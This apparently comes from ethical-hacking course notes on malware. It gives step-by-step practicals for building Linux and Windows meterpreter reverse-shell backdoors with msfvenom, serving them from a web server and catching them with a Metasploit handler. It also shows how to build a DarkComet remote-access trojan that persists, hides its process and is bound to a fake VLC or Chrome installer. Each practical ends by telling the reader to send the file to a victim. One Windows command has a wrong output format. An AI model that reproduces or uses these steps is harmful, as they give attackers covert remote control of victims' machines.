6. Malware Threats

Practical 1: Creating a backdoor for Linux using msfvenom

1. Open terminal window and enter a command in following syntax:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your Kali IP> LPORT=5555 --platform linux --arch x86 -f elf -o /var/www/html/<filename.elf>

For example:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.99 LPORT=5555 --platform linux --arch x86 -f elf -o /var/www/html/chess.elf

2. Then to start the apache web server enter command:
service apache2 start

3. Start Metasploit Framework

4. To select the exploit, enter command:
use exploit/multi/handler

5. Set the Payload
set PAYLOAD linux/x86/meterpreter/reverse_tcp

6. Set all required options
show options (To see available options)
set LHOST <Your Kali IP>
set LPORT 5555 (It has to be same like one you used in msfvenom command)

7. exploit

Once you run the exploit command, you should share the created file with the victim. If the victim downloads and executes the file then you should get a meterpreter access in Kali Linux.

Note:
LPORT you can use any other port number that should not be in use.
LPORT in msfvenom command and in metasploit framework should be same.
This can work for 32Bit platform, for 64Bit you can use payload as linux/x64/meterpreter/reverse_tcp and --platform you have to set it as x64

Practical 2: Creating a backdoor for Windows using msfvenom

1. Open terminal window and enter a command in following syntax:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your Kali IP> LPORT=5555 --platform windows --arch x86 -f exe -o /var/www/html/<filename.exe>

For example:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.99 LPORT=5555 --platform windows --arch x86 -f elf -o /var/www/html/chess.exe

2. Then to start the apache web server enter command:
service apache2 start

3. Start Metasploit Framework

4. To select the exploit, enter command:
use exploit/multi/handler

5. Set the Payload
set PAYLOAD windows/meterpreter/reverse_tcp

6. Set all required options
show options (To see available options)
set LHOST <Your Kali IP>
set LPORT 5555 (It has to be same like one you used in msfvenom command)

7. exploit

Once you run the exploit command, you should share the created file with the victim. If the victim downloads and executes the file then you should get a meterpreter access in Kali Linux.

Note:
LPORT you can use any other port number that should not be in use.
LPORT in msfvenom command and in metasploit framework should be same.
This can work for 32Bit platform, for 64Bit you can use payload as windows/x64/meterpreter/reverse_tcp and --platform you have to set it as x64

Practical 3: DarkComet trojan creator for Windows

1. Open the DarkComet application in windows attacker system.

2. On the left side top, click on DarkComet-RAT Menu and in that goto Server Module and select Full Editor. It will open the RAT creator settings page.

3. In that left side down, click on Network Settings and provide your machine's IP address and port no you wish. By default port will be 1604. And then click on ADD button.

4. Then click on Module Startup. If you want to make your connection persistent. Then check the box "Start the stub with windows". And provide that settings like Drop location and process name etc.

5. Next in install message, you can set the message if you like to show to victim when he runs your malicious file.

6. Next in Module Shield, you can try to hide your malicious file and process. So you can select appropriate options.

7. Then you can go to File Binder. You can bind your malicious file with some legitimate file so that victim will not realize it's malicious. For example, you can bind the file with some setup files like Google Chrome or VLC player etc.

8. Next choose icon, you can select the display icon. You can select from given list or manually download some icons from web and set them.

9. Lastly you can finally create your file in Stub Finalization. You can click on Build the Stub on right side down. Select your file name. It should be relevant. For example, if you bind with VLC media player setup, then you can give the name vlc_setup_new.exe like that

10. Once the file is created, you can close the setup page. Then go to Socket/Net on DarkComet on right side and make sure you are listening on mentioned port. If not, then you can right click there and click Add port to listen.

11. Once all this setup is done, you can share your created file with victim once he runs it, you should get a connection in DarkComet. You can simply double click on your victim's IP and start doing all activities.